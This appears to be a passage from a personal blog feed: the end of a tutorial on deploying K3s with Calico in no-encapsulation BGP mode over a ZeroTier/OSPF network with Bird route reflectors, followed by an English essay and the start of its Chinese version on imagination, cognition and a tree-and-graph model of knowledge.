        NGB <--> HFE-NAS
    end

    subgraph IEPL
        Global-NIC <==OSPF==> CN-NIC 
    end

    subgraph ZeroTier Global
        HKG02 <-->  HKG04
        TYO <--> HKG04
        TYO <--> HKG02
    end

    CN-NIC <--> NGB
    CN-NIC <--> HFE-NAS
    CN-NIC <--OSPF--> Gateway

    Global-NIC <--OSPF--> TYO
    Global-NIC <--OSPF--> HKG02
    Global-NIC <--OSPF--> HKG04

    %% Style definition: orange background, bold border to represent routers
    classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
    class Global-NIC,CN-NIC,Gateway router;

Among this, the WDS node is a Proxmox VE host with multiple VMs underneath. It advertises its VMs' IPv4 prefixes via OSPF. When Hong Kong nodes need to access a VM under the WDS node, they can do so by joining the OSPF internal network to achieve multi-hop reachability. This keeps the encapsulation layer count to only one, so there's no worry about MTU "disappearing act".

I plan to create two new VMs under WDS to serve as the master and a node (temporarily called KubeMaster and KubeNode-WDS1). Then HKG04 (temporarily called KubeNode-HKG04) will also join the K3s cluster as a node.

The simplest approach would be to use K3s's default Flannel as the CNI. However, Flannel is based on VXLAN, and adding another layer of my existing internal network would lead to the following MTU "disappearing act":

Data packet -> Flannel VXLAN encapsulation -> ZeroTier encapsulation -> Physical link

The actual usable MTU for inter-container communication would likely be compressed to 1350 or even lower. Therefore, I tried to find a CNI solution that can work directly on top of this internal network, and then I found Calico. As I understand, Calico uses BGP as its underlying routing protocol, supports starting in no-encapsulation (No-Encap) mode, and hands packets directly to the upper routers for routing. Thus, I chose Calico as the CNI component.

Routing Design

To ensure that intermediate routers know how to route Pod IPs, KubeMaster and KubeNode-WDS1 are under the Proxmox VE host. They need to establish BGP with HKG04 across the entire internal network. This means that every router at each intermediate level must learn the full BGP routes, so that the following routing path can be established:

graph LR

subgraph WDS
    KubeMaster
    KubeNode-WDS1
    Gateway
end

subgraph IEPL
    CN-Namespace
    Global-Namespace
end

KubeNode-WDS1 <--> Gateway
KubeMaster <--> Gateway <--> CN-Namespace <--> Global-Namespace <--> HKG04

%% Style definition: highlight nodes with routing capability
classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
class Gateway,CN-Namespace,Global-Namespace router;

Otherwise, any intermediate hop would drop packets because it doesn't recognize the source/destination IP. Also, due to the property of iBGP that routes learned from a neighbor cannot be propagated to the next iBGP neighbor, all BGP sessions between Gateway, CN-Namespace, Global-Namespace and the nodes need to enable Route Reflector; otherwise, nodes cannot correctly learn routes from each other.

That said, this architecture would be more suitable for BGP Confederation, but my existing network is already quite complex, and adding BGP confederations would make later maintenance more troublesome. Moreover, my number of nodes is small, so the overhead of iBGP Full Mesh is acceptable. ~~It's definitely not because I'm lazy (so~~

Thus, the final network routing structure is as follows:

graph TD
subgraph WDS
    VM1
    VM2
    Gateway
end

subgraph IEPL
    CN-Namespace
    Global-Namespace
end

VM1 <-.Calico iBGP Full Mesh.-> VM2
VM1 <--iBGP Route Reflector--> Gateway
VM2 <--iBGP Route Reflector--> Gateway <--iBGP--> CN-Namespace <--iBGP--> Global-Namespace <--iBGP Route Reflector--> HKG04
Gateway <--iBGP--> Global-Namespace
HKG04 <-.Calico iBGP Full Mesh.-> VM1
VM2 <-.Calico iBGP Full Mesh.-> HKG04

%% Style definition
classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
%% Mark nodes with routing/forwarding or RR functions as Router
class Gateway,CN-Namespace,Global-Namespace router;

The dashed-line BGP sessions are automatically created by Calico, while the solid-line parts need to be manually created by us.

Keeping Calico's own iBGP Full Mesh is for future scalability, so that nodes can preferentially establish direct P2P connections via ZeroTier instead of taking a detour through the Route Reflector aggregation router.

Deployment

After clarifying the structure, deployment becomes simple.

Enable Kernel Forwarding and Disable rp_filter

Standard practice.

echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.forwarding=1" >> /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=1" >> /etc/sysctl.conf
echo "net.ipv4.conf.default.rp_filter=0" >> /etc/sysctl.conf
echo "net.ipv4.conf.all.rp_filter=0" >> /etc/sysctl.conf
sysctl -p

Install K3s

Master

Because the KubeMaster control plane node is located inside China, it's best to configure image acceleration:

mkdir -p /etc/rancher/k3s
cat <<EOF > /etc/rancher/k3s/registries.yaml
mirrors:
  docker.io:
    endpoint:
      - "https://docker.m.daocloud.io"
  quay.io:
    endpoint:
      - "https://quay.m.daocloud.io"
EOF

Install using the mirror:

curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | \
  INSTALL_K3S_MIRROR=cn INSTALL_K3S_EXEC=" \
  --flannel-backend=none \
  --disable-network-policy \
  --cluster-cidr=10.42.0.0/16" sh -

Note the need to specify --flannel-backend=none and --disable-network-policy to disable the default CNI component.
Use cat /var/lib/rancher/k3s/server/node-token to view the token and record it.

Worker Nodes

For nodes inside China, configure image acceleration:

mkdir -p /etc/rancher/k3s
cat <<EOF > /etc/rancher/k3s/registries.yaml
mirrors:
  docker.io:
    endpoint:
      - "https://docker.m.daocloud.io"
  quay.io:
    endpoint:
      - "https://quay.m.daocloud.io"
EOF

Then install K3s using the mirror and join the cluster:

export INSTALL_K3S_MIRROR=cn
export K3S_URL=https://<master node IP>:6443  # Replace with your master node's actual IP
export K3S_TOKEN=K10...your token...::server:xxx # Replace with the full token obtained in the first step

curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | sh -

At this point, the status of each node should be NotReady because the CNI component is missing.

Install Calico and Configure No-Encap Mode

On the master, manually download https://raw.githubusercontent.com/projectcalico/calico/v3.26.1/manifests/tigera-operator.yaml and install the Calico operator:

kubectl create -f tigera-operator.yaml

Configure a custom resource by creating a custom-resource.yaml file:

apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  # Add image registry configuration
  registry: quay.m.daocloud.io 
  calicoNetwork:
    ipPools:
    - blockSize: 26
      cidr: 10.42.0.0/16
      encapsulation: None
      natOutgoing: Enabled
      nodeSelector: all()

Here, specify encapsulation: None to enable No-Encap mode. You can also modify the IPv4 CIDR here if needed. Then:

kubectl apply -f custom-resource.yaml

to perform the installation. Use:

kubectl get pods -A -o wide

to check Pod status, waiting for each node to finish pulling images.

Configure BGP Topology

Label Nodes

Label nodes to specify that nodes under WDS connect to the Gateway's BGP in the WDS node, and nodes outside China connect to the BGP of the Global Namespace:

kubectl label nodes kubemaster region=WDS
kubectl label nodes kubenode-wds-1 region=WDS
kubectl label nodes kubenode-hkg04 region=Global

Calico Configuration

Create a YAML configuration file:

apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-domestic
spec:
  nodeSelector: region == 'Domestic' # This part is not actually used; I originally designed a general aggregation router in the Domestic area
  peerIP: 100.64.0.108
  asNumber: 64512
---
apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-wds
spec:
  nodeSelector: region == 'WDS'
  peerIP: 192.168.100.1
  asNumber: 64512
---
apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-global
spec:
  nodeSelector: region == 'Global'
  peerIP: 100.64.1.106
  asNumber: 64512

This means:

All nodes with label region equal to Domestic will have a BGP session to 100.64.0.108 (the domestic aggregation router) using AS 64512
All nodes with label region equal to WDS will have a BGP session to 192.168.100.1 (the Gateway for all VMs under the WDS node) using AS 64512
All nodes with label region equal to Global will have a BGP session to 100.64.1.106 (the overseas aggregation router) using AS 64512

This achieves what is shown in the diagram: all VMs under the WDS node, including the master and KubeNode-WDS1, connect to the Gateway aggregation router of the WDS node, and all nodes in overseas areas connect to the overseas aggregation router.

Configure Aggregation Router iBGP

This part is simply a matter of writing Bird configuration files (easy).
Here are a few examples:

k3s/ibgp.conf:

function is_insider_as(){
    if bgp_path.len > 0 && !(bgp_path ~ [= 64512 =]) then {
        return false;
    }

    if net ~ [ 10.42.0.0/16{16,32} ] then {
        return true;
    }

    return false;
}

template bgp k3sbackbone{
    local as K3S_AS;
    router id INTRA_ROUTER_ID;
    neighbor as K3S_AS;

    ipv4{
        table intra_table_v4;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
        extended next hop;
    };

    ipv6{
        table intra_table_v6;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };
};

template bgp k3speers{
    local as K3S_AS;
    neighbor as K3S_AS;
    router id INTRA_ROUTER_ID;
    rr client;
    rr cluster id INTRA_ROUTER_ID;

    ipv4{
        table intra_table_v4;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };

    ipv6{
        table intra_table_v6;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };
};

include "ibgpeers/*";

ibgpeers/backbone-cn.conf:

protocol bgp 'k3s_backbone_cn_v4' from k3sbackbone{
    neighbor fd18:3e15:61d0:cafe:f001::1;
};

ibgpeers/master.conf:

protocol bgp 'k3s_master_v4' from k3speers{
    neighbor 192.168.100.251;
};

Main points: it's best not to enable Route Reflector between the aggregation routers, and remember to enable next hop self.

After everything is done, using kubectl get nodes should show all nodes as Ready:

NAME             STATUS   ROLES           AGE     VERSION
kubemaster       Ready    control-plane   2d23h   v1.34.5+k3s1
kubenode-hkg04   Ready    <none>          11h     v1.34.6+k3s1
kubenode-wds-1   Ready    <none>          2d7h    v1.34.5+k3s1

Use kubectl get pods -A -o wide to view Pods:

NAMESPACE         NAME                                       READY   STATUS      RESTARTS        AGE     IP                NODE             NOMINATED NODE   READINESS GATES
calico-system     calico-kube-controllers-64fc874957-6bdlz   1/1     Running     0               5h38m   10.42.253.136     kubenode-hkg04   <none>           <none>
calico-system     calico-node-2qz82                          1/1     Running     0               4h24m   10.2.5.7          kubenode-hkg04   <none>           <none>
calico-system     calico-node-dhl2c                          1/1     Running     0               4h24m   192.168.100.251   kubemaster       <none>           <none>
calico-system     calico-node-nbpkj                          1/1     Running     0               4h23m   192.168.100.252   kubenode-wds-1   <none>           <none>
calico-system     calico-typha-7bb5db4bdc-rfpwg              1/1     Running     0               5h38m   10.2.5.7          kubenode-hkg04   <none>           <none>
calico-system     calico-typha-7bb5db4bdc-rwwr5              1/1     Running     0               5h38m   192.168.100.251   kubemaster       <none>           <none>
calico-system     csi-node-driver-jglwp                      2/2     Running     0               5h38m   10.42.64.68       kubenode-wds-1   <none>           <none>
calico-system     csi-node-driver-jqjsc                      2/2     Running     0               5h38m   10.42.253.137     kubenode-hkg04   <none>           <none>
calico-system     csi-node-driver-vk26s                      2/2     Running     0               5h38m   10.42.141.16      kubemaster       <none>           <none>
kube-system       coredns-695cbbfcb9-8fx4p                   1/1     Running     1 (7h27m ago)   2d23h   10.42.141.14      kubemaster       <none>           <none>
kube-system       helm-install-traefik-crd-5bkwx             0/1     Completed   0               2d23h   <none>            kubemaster       <none>           <none>
kube-system       helm-install-traefik-m9fgj                 0/1     Completed   1               2d23h   <none>            kubemaster       <none>           <none>
kube-system       local-path-provisioner-546dfc6456-dmn4g    1/1     Running     1 (7h27m ago)   2d23h   10.42.141.15      kubemaster       <none>           <none>
kube-system       metrics-server-c8774f4f4-2wkwh             1/1     Running     1 (7h27m ago)   2d23h   10.42.141.12      kubemaster       <none>           <none>
kube-system       svclb-traefik-999cddce-hpmcm               2/2     Running     6 (7h26m ago)   11h     10.42.253.134     kubenode-hkg04   <none>           <none>
kube-system       svclb-traefik-999cddce-q4225               2/2     Running     2 (7h27m ago)   2d22h   10.42.141.9       kubemaster       <none>           <none>
kube-system       svclb-traefik-999cddce-xmd64               2/2     Running     2 (7h26m ago)   2d6h    10.42.64.66       kubenode-wds-1   <none>           <none>
kube-system       traefik-788bc4688c-vbbhj                   1/1     Running     1 (7h27m ago)   2d22h   10.42.141.13      kubemaster       <none>           <none>
tigera-operator   tigera-operator-6b95bbf4db-vl46l           1/1     Running     1 (7h27m ago)   2d23h   192.168.100.251   kubemaster       <none>           <none>

Use kubectl exec -it -n calico-system <calico-node-xxxx> -- birdcl s p to check the status of Bird:

root@KubeMaster:~/kube/calico# kubectl exec -it -n calico-system calico-node-2qz82 -- birdcl s p
Defaulted container "calico-node" out of: calico-node, flexvol-driver (init), install-cni (init)
BIRD v0.3.3+birdv1.6.8 ready.
name     proto    table    state  since       info
static1  Static   master   up     08:58:17    
kernel1  Kernel   master   up     08:58:17    
device1  Device   master   up     08:58:17    
direct1  Direct   master   up     08:58:17    
Mesh_192_168_100_251 BGP      master   up     08:58:33    Established   
Mesh_192_168_100_252 BGP      master   up     08:59:00    Established   
Node_100_64_1_106 BGP      master   up     12:57:44    Established

ip r shows the system routing table:

root@KubeMaster:~/kube/calico# ip r
default via 192.168.100.1 dev eth0 proto static 
10.42.64.64/26 proto bird 
        nexthop via 192.168.100.1 dev eth0 weight 1 
        nexthop via 192.168.100.252 dev eth0 weight 1 
blackhole 10.42.141.0/26 proto bird 
10.42.141.9 dev caliac6501d3794 scope link 
10.42.141.12 dev calib07c23291bb scope link 
10.42.141.13 dev caliab16e60bd19 scope link 
10.42.141.14 dev calid5959219080 scope link 
10.42.141.15 dev cali026d8f1ddb7 scope link 
10.42.141.16 dev califa657ba417a scope link 
10.42.253.128/26 via 192.168.100.1 dev eth0 proto bird 
192.168.100.0/24 dev eth0 proto kernel scope link src 192.168.100.251

Ping a Pod's IP – if everything is fine, it should work directly:

root@KubeMaster:~/kube/calico# ping 10.42.253.137
PING 10.42.253.137 (10.42.253.137) 56(84) bytes of data.
64 bytes from 10.42.253.137: icmp_seq=1 ttl=60 time=33.7 ms
64 bytes from 10.42.253.137: icmp_seq=2 ttl=60 time=33.5 ms
^C
--- 10.42.253.137 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 33.546/33.632/33.718/0.086 ms

Tune MTU

This step is actually for stability…?
Tests have shown that although my ZeroTier MTU is 1420, packets start to fragment around 1392 bytes (test with ping -M do -s <packet size> <Pod_IP>). Therefore, force the Pod MTU to 1370:

root@KubeMaster:~/kube/calico# cat patch-mtu.yaml 
apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  calicoNetwork:
    mtu: 1370
    nodeAddressAutodetectionV4:
      firstFound: true
root@KubeMaster:~/kube/calico# kubectl apply -f patch-mtu.yaml 
installation.operator.tigera.io/default configured

From Reflections on Imagination to Cognition, Creativity, and the Logic Tree

Fri, 20 Mar 2026 02:29:00 GMT

Starting Point: Thoughts Sparked by a Debate Topic

While scrolling through my social feed, I saw a friend post this:

Keep thinking to keep your mind sharp.  
Today’s Debate:  
Does imagination increase with the level of cognitive development, or does it decrease?

My initial thought was, "This definitely isn't the whole picture."
Based on my own experience, when I'm genuinely interested in researching or learning something, I not only learn it quickly but can also apply and build upon it. Conversely, I find the knowledge taught in school uninteresting and feel no desire to apply or innovate with it.

So, I came up with my first version of an answer:

Personally, I think it depends on how one's cognitive level increases.
If it's through forced learning, the content is passively received. People won't find it interesting or worth thinking about. In this case, it likely won't expand imagination.
But if it's a spontaneous pursuit of knowledge, an increase in cognitive level won't extinguish curiosity about the unknown. In this scenario, a higher cognitive level allows imagination to delve deeper and become more logically coherent on this basis.

Later, that friend replied, "So, rote education really stifles creativity and imagination," and I agreed.
But was the discussion over...?

The Thinking Phase

First Deepening: Logical Coherence

In my initial reply, I mentioned logical coherence. I didn't think much of it at the time, but upon reflection later, I realized this could well explain the skeleton of imagination: Imagination is the process of conducting logical deductions and envisioning possibilities based on existing knowledge, all within the current logical framework:

As children, our wild fantasies stemmed from knowing very little. We could only make inferences and assumptions based on our limited understanding of everyday physics. They were logically coherent within that simple framework.
As adults, with more knowledge, our fantasies transform into creation. This is also driven by imagination, but it's a purposeful, directional advance within the framework of existing knowledge. It is also logically coherent.

Essentially, both are about imagination constructing a "plausible" world. The difference lies solely in the foundational knowledge and logical systems used during construction. Foundational knowledge comes from learning, while the logical system comes from our understanding of life and the world – our life experiences. An increase in cognitive level merely changes the rules that "coherence" must follow. Childhood "coherence" follows story logic, while adult "coherence" follows scientific and social logic.
Furthermore, when cognitive level is low, due to a simpler knowledge system, imagination often produces disconnected points, each potentially coherent on its own. As cognitive level increases, we gradually construct a complete, vast, and interconnected knowledge system of the world. Imagining within this framework to achieve global logical coherence is precisely the purposeful, directional creation mentioned earlier.

Following this line of thought, we could even say the real challenge brought by increased cognition isn't losing the ability for "logical coherence," but rather maintaining the vitality of "logical coherence" when the knowledge system becomes too large – that is, preventing the existing framework from becoming a cage, allowing imagination to still find new combinations in the gaps.

Second Deepening: The Boundaries of Everyday Experience

From the above, it's easy to think that maintaining the logical coherence of imagination relies heavily on our understanding of the world and on everyday experience. This raises a new question: When a person's knowledge accumulation surpasses their personal everyday experience, how can they maintain this logical coherence in imagination? In other words, when the knowledge we acquire is completely beyond the scope of our direct understanding, how should we expand and diverge based on it?

During this reflection, I realized the premise itself might be incomplete. Consider two examples:

For me, I enjoy the process of designing and implementing computer software and building networks. From my perspective, this falls within the realm of everyday experience.
For a friend of mine who loves mathematics, deriving advanced calculus equations is something within his everyday experience.

These two examples illustrate well: "Everyday experience" itself is a benchmark that shifts as one's cognitive level changes.
From this, we can infer:

Cognition Reshapes the Boundaries of "Everyday": My friend enjoys deriving calculus because its symbols and logic have integrated into his cognitive framework, becoming a part of his thinking. Thus, he can intuitively imagine and explore within the logic of advanced math. For me, tinkering with computers is similarly based on my internalized knowledge system, making its content feel like everyday experience.
The Multifaceted Nature of Imagination: When someone possesses deep cognition in a field, their imaginative activities within that field might seem like incomprehensible creations to an observer, but to themselves, it might just be an "everyday," intuitive deduction. Imagination hasn't disappeared; it has permeated the underlying layers of thought, becoming an ability to skillfully achieve "logical coherence" and explore possibilities within a professional framework. What outsiders see as "transcendence," the individual experiences as "everyday."

Thus, the original debate topic is incomplete. Its flaw lies in presupposing a universally average cognitive level and standard of everyday experience, whereas they are actually highly individualistic.
An increase in cognitive level means the domain where one can "transcend everyday experience" expands. Thoughts that seem fantastical to others are, for the thinker, rigorous deductions based on solid theory. Increasing cognition is the process of continuously transforming what was once "beyond everyday experience" into "everyday experience." In this process, imagination doesn't diminish; it changes form – from unconstrained fantasy to logically coherent creation within an existing framework.

Furthermore, we can conclude that this type of imagination, based on deep cognition and "routinized" knowledge, and childhood imagination based on common sense and naivety, are essentially the same thing: a yearning for the unknown. However, because they operate under different constraints – one bound by a comprehensive knowledge system, the other by a shallow understanding of physical laws – their manifestations differ significantly.

Summary

At this point, we've summarized several key points:

Imagination isn't just wild fancy; it's the pursuit of logical coherence within an existing framework.
"Everyday experience" is a moving benchmark; it represents the boundaries of the knowledge system one can flexibly use and expands as one learns.
Increasing cognitive level doesn't destroy imagination; it reshapes the rules by which it achieves coherence.

Therefore, the answer to the debate topic cannot be a simple "increases" or "decreases." It depends on the method of cognitive growth and the observer's perspective.

Model Construction

From the above questions, I couldn't help but wonder: what should an individual's knowledge system structure look like? How do we organize scattered pieces of knowledge into a system capable of supporting "logical coherence"? And how do we create new content within this system through creativity?

Introducing the Tree Model

First, I thought of a graph theory structure:

Individual knowledge points are discrete nodes.
Learning is the process of creating new nodes.
Reviewing and applying knowledge is about linking nodes to the existing knowledge system.

This explains why just studying without practice doesn't lead to good understanding – because without establishing connections, the node remains isolated. We can't link the knowledge point to our existing system, preventing us from recalling it when faced with related problems. In other words, it fails to become internalized as part of "everyday experience."

Then I realized this model might be too flat for explaining knowledge structures. Real knowledge systems often have strict hierarchical and containment relationships, so I thought a tree structure might be more suitable:

Knowledge points often have distinct levels.
Relationships between points include logical connections like derivation and inverse application, implying parent-child or hierarchical links.

Based on this, I attempted to construct a tree-structured knowledge map.

Nodes are knowledge units.
Edges are logical relationships, such as dependency, inheritance, instantiation.
Root nodes are underlying principles/axioms.
Leaf nodes are derived theorems/phenomena/applications.

The process of building knowledge is:

Everyone starts from the nodes they know. Learning new things is expanding the system upward, towards the root nodes.
Innovation and imagination involve exploring downward from existing nodes to derive new child nodes.
Thus, the more we know, the more nodes we have from which we can branch out further.

Based on this model, we can explain the previously mentioned "constraint of cognition on creativity" and why passive learning fails to expand it:

Parent Nodes Constrain Child Nodes' Content: What kind of child nodes a node can produce isn't random; it must satisfy the logical constraints and relationships of the parent node. Exercising imagination essentially means instantiating new, valid nodes within the limits permitted by the parent knowledge system.
Passive Learning: It merely adds some isolated nodes to the tree, or establishes only shallow references. Although these nodes exist in the knowledge tree, they lack upward connections to existing knowledge points. When we need to explore downwards through imagination, we might know of their existence, but they can't generate new, effective connections.

However, this model still couldn't explain some things:

It couldn't account for knowledge from multiple different domains.
Many knowledge points are interwoven or even cross-disciplinary. This model couldn't explain the phenomenon of cross-domain application of knowledge.

Therefore, I considered whether a more comprehensive model could be built.

Multi-Root, Multi-Tree + Graph Connections

To explain different domains and cross-disciplinary links, I revisited the initial graph theory idea but retained the tree structure:

The human cognitive system consists of multiple independent tree structures. Different trees represent knowledge in different domains.
These tree structures and their child nodes are interconnected through a network of links, forming a complex network that possesses both hierarchical depth and lateral connectivity.
Knowledge exists as nodes and edges, and mental activities (learning, understanding, imagining, creating) are essentially the traversal, restructuring, and expansion of this network.

Model Components

This model comprises Nodes, Edges, Root Nodes, Trees, and Canopies:

Node: A unit of knowledge, which could be a concept, fact, phenomenon, or skill.
Edge: Represents a logical relationship between nodes. These can be further divided into two types:
1. Tree Edge: Represents inheritance, derivation, or causal relationships within a tree ("is a kind of," "is part of," "can be derived from").
2. Network Edge: Represents associative, analogical, or combinable relationships between trees or their child nodes ("is similar to," "can be combined with," "symbolizes").
Root: As in the previous tree model, it represents the underlying principle or first-principle assumption of a domain, like the laws of physics for physics.
Tree: A hierarchical structure composed of a root node and all its descendants.
- The interior of a tree is completely logically coherent.
- Root nodes of different trees may not have derivational relationships, but their child nodes often do.
Canopy: The top region of a tree, representing the specific practices, phenomena, applications, or experiential knowledge of a domain.
- The canopy is often a dense area for network edges because concrete practices usually involve knowledge from multiple domains.

Operational Mechanisms

1. Learning

Tracing Roots Upward: Starting from a node, follow tree edges towards the root to understand its principles.
Branching Downward: Starting from a node, follow tree edges towards the leaves to explore its applications.

2. Understanding

Assimilation: A new node finds a suitable parent and is attached to an existing tree.
Accommodation: A new node cannot be attached -> Adjust the root node or reorganize branches -> Restructure the tree.
Cross-Tree Connection: A new node attaches to multiple trees simultaneously, or establishes network edges between trees.

3. Imagination and Creation

The core operation of imagination is: Establishing new network edges between nodes of seemingly unrelated trees.

Discover that a node in Tree A can connect to a node in Tree B.
Follow this new edge, and through association, synthesis, etc., grow a new node that didn't exist before.

4. Forgetting and Invalidation

Isolated Node: A node exists but has no effective edges connecting it to any tree -> Cannot be recalled, cannot participate in creation or thought processes.
Weak Connections: Network edges unused for a long time -> Their weight decreases -> Hard to activate -> Forgetting.

Properties

This model possesses the following properties:

Hierarchy: Each tree has a clear internal structure: Root (principle/axiom) -> Child Nodes (core inferences) -> Child Nodes (sub-fields) -> Leaf Nodes (phenomena/applications).
Modularity: Each tree is relatively independent and can grow on its own.
Connectivity: Any nodes between trees can potentially connect based on association or cross-disciplinary application, but due to root node characteristics, connections typically occur between child nodes and leaves.
Growth:
- Vertical Growth: Learning towards root nodes (understanding principles) and expanding applications towards leaf nodes (deriving applications) within a tree.
- Horizontal Growth: Creating new knowledge or applications between trees through association, synthesis, etc.
Robustness and Fragility:
- Damage to part of a single tree doesn't affect the operation of other trees.
- If the root node of a tree is disproven, causing the entire tree to collapse, it can implicate a large part of its interconnected neighbors.

The Tree Part: Ensures Logical Structure

The tree structure provides hierarchy and derivational relationships – vertical connections:

Root -> Child -> Grandchild represents the deductive path from principle to phenomenon.
Tracing roots upward is seeking principles; branching downward is exploring practical applications.
The existence of trees allows thoughts to be abstracted into a complete system, preventing them from becoming scattered.

The Graph Part: Explains Cross-Disciplinary Phenomena

The network connections provide associative links and emergence – horizontal connections:

A node from Tree A can attach directly to a node in Tree B.
These cross-tree connections embody analogy, metaphor, and cross-disciplinary innovation.

I personally think this structure can quite comprehensively explain the operation and interrelation of today's knowledge systems. For instance, in modern history, the disproving of the "geocentric model" led to a restructuring of all astronomy based on it. Similarly, rote learning only inputs isolated nodes without building sufficient connections, preventing their proper use.

Explaining Phenomena

The Emergence of Imagination: Profound innovation often isn't just digging deeper within one tree, but attaching a child node from Tree A onto a child node from Tree B, thereby creating something new. The more such cross-tree connections exist, the richer the potential for branching out downwards.
Thorough Understanding (Ronghui Guantong): This is essentially creating cross-tree indices. Ordinary people might only make connections within a single tree, e.g., "array" and "linked list" in a "Data Structures" tree. But an expert might connect "hash table" (from the Data Structures tree) with "cache" (from the Computer Architecture tree), giving rise to a new node like "cache-friendly hash table design."
Reusing Isolated Nodes: A node might be isolated within its original tree, but later, with an expanded knowledge scope, a suitable attachment point is found, allowing it to be utilized and understood.

Meanwhile, this model also explains the initial question: Does imagination disappear? No, it merely exists in a different form.

Visualization

Personal Experience

Let me give my own example.
I used to struggle with understanding why the Internet is called a "net." My perception of the Internet was limited to the purely tree-like structure of my home router. Based on this, I couldn't understand that by extrapolation, there would have to be a single "super router" responsible for all core data forwarding globally, which obviously defies physical reality.
Later, I self-studied routing protocols like BGP and OSPF, and suddenly I understood why it's a network. BGP and OSPF perfectly illustrate how routing information propagates through a mesh structure, fundamentally enhancing my understanding of the Internet. Based on this new understanding, I used tools like ZeroTier and Bird to build my own SD-WAN, creating a large, multi-hop intranet.

This example fits the model well:

Old Cognition: Centralized model (global super-router required).
Cognitive Conflict: The conclusion derived from this model doesn't match reality.
New Knowledge Acquisition: BGP, OSPF.
Cognitive Restructuring: Understanding the Internet as a "mesh network" structure.
Creation: Building an SD-WAN using ZeroTier and Bird based on the new model.

Limitations and Boundaries

Throughout this, I've tried to build a model using rational analysis. However, I also realize some phenomena can't be explained by it, such as emotions and feelings. They exist independently of logical edges and can't be captured by the current model. Emotions often determine the direction of learning and how we achieve desired outcomes from it. Therefore, I believe they should be considered, but the current model cannot analyze them.
Additionally, there are logical gaps, such as:

In this mixed tree+graph structure, what exactly is a root node? Is it an objective principle, or a subjective first-principle belief?
What is the upper limit for establishing connections? Is it possible to over-connect? If there are too many dense network edges, could it blur the tree structure and make thinking lose direction?
What is curiosity itself in this model? Is it the driving force for traversal, or some intuition for "predicting where new connections might be"?

Afterthoughts

I sent this model to an AI for analysis. It suggested schema theory, mental models, connectionism, knowledge graphs, constructivism, and complex networks as related topics. These may be useful reading leads, but I have not checked the original literature for each connection. They do not establish that my model is equivalent to those theories or that it revises them.

For now, these are questions I would like to explore:

Schema theory and mental models: How do people incorporate new knowledge and revise their understanding when it conflicts with experience? There may be a connection to my example of learning BGP.
Connectionism and knowledge representation: What do nodes and connections mean in each theory? Drawing two things as networks does not mean they describe the same mechanism.
Semantic networks and knowledge graphs: How should I distinguish relations such as is-a, part-of, follows-from, and reminds-me-of? Grouping them together may hide important differences.
Constructivism: How do exposure to information, understanding, and applying knowledge to a new problem differ? Active and passive learning also do not necessarily map neatly to connected and isolated nodes.
Complex networks: What data and tests would be needed to discuss scale-free properties or hierarchical modularity? My diagram alone does not establish these properties in human knowledge.

These connections give me directions to explore, but the AI's encouragement is not evidence. For now, the trees and networks are a metaphor for organizing my own experience.

Writing this article is also a way to document a brainstorming experience. I think its value lies not in the final model, but in the process of construction and reasoning itself.
P.S. I'm not a professional psychologist or thinker, just an ordinary computer science student. This article came from my own spontaneous reflections. If there are logical flaws, please be kind~

从对想象力的思考，到认知、创造力与逻辑树

Thu, 19 Mar 2026 15:15:00 GMT

起点：一个辩题引发的思考

刷空间的时候看到朋友发了这么一条动态

最开始的想法就是 “这肯定不全面啊”。
根据我自己的经验，我如果是自己想要去研究，想要去学的东西，我学起来不仅很快，还能将其应用并推广；而对于学校教的那些知识，我就觉得很没意思，也不会想要去应用、去创新。

于是以此做出了我的第一个版本的答案：

个人认为取决于认知水平增加的方式
如果是像强迫学习这样学到的内容，是被动接受的内容，人们不会认为它是有趣的，是值得去思考的，这种情况下大概率并不会因此而扩展想象力
但如果是自发的对知识的探求，认知水平的增加并不会磨灭对对未知的好奇，这种情况下更高的认知水平可以使想象力在此基础上更加深入和逻辑自恰

之后，那个朋友也回复我说，“所以填鸭式教育对创造力和想象力扼杀很严重”，我表示赞同。
但是，这个论题就这样结束了吗……？

思考阶段

第一次深化：逻辑自洽

在我之前的回复中，我提到了逻辑自洽。当时并没有觉得什么，后来在复盘的时候发现，这实际上能很好的解释想象力的骨架：在现有的逻辑框架内，根据已有的知识，进行符合逻辑的推演和想象：

小时候我们天马行空的幻想，是因为我们知道的很少，只能基于那一点点生活中的物理常识做出推断和假设，是逻辑自洽的
而长大了，学的东西多了，使得我们从幻想转变为创造，本质也是由想象力推动的，不过是利用现有知识，在知识的框架中有计划有方向的创造前进。也是逻辑自洽的

本质上，两者都是想象力在构建一个“说得通”的世界。区别只在于，构建时所用的基础知识和逻辑体系不同。基础知识来源于学习，而逻辑体系则来源于我们对生活对世界的认识，也就是所谓人生阅历。认知水平提升，改变的只是“自洽”所遵循的规则。小时候的“自洽”遵循故事逻辑，成年后的“自洽”则遵循科学和社会逻辑。
同时，认知水平较低时，由于知识体系单一，想象力往往是跳跃的点，彼此可以独立自洽；而随着认知水平提升，我们逐渐构建起对世界的一个完整、庞大、互联的知识体系，在这个框架中实现全局逻辑自洽的想象，也正是上文提到的有计划、有方向的创造。

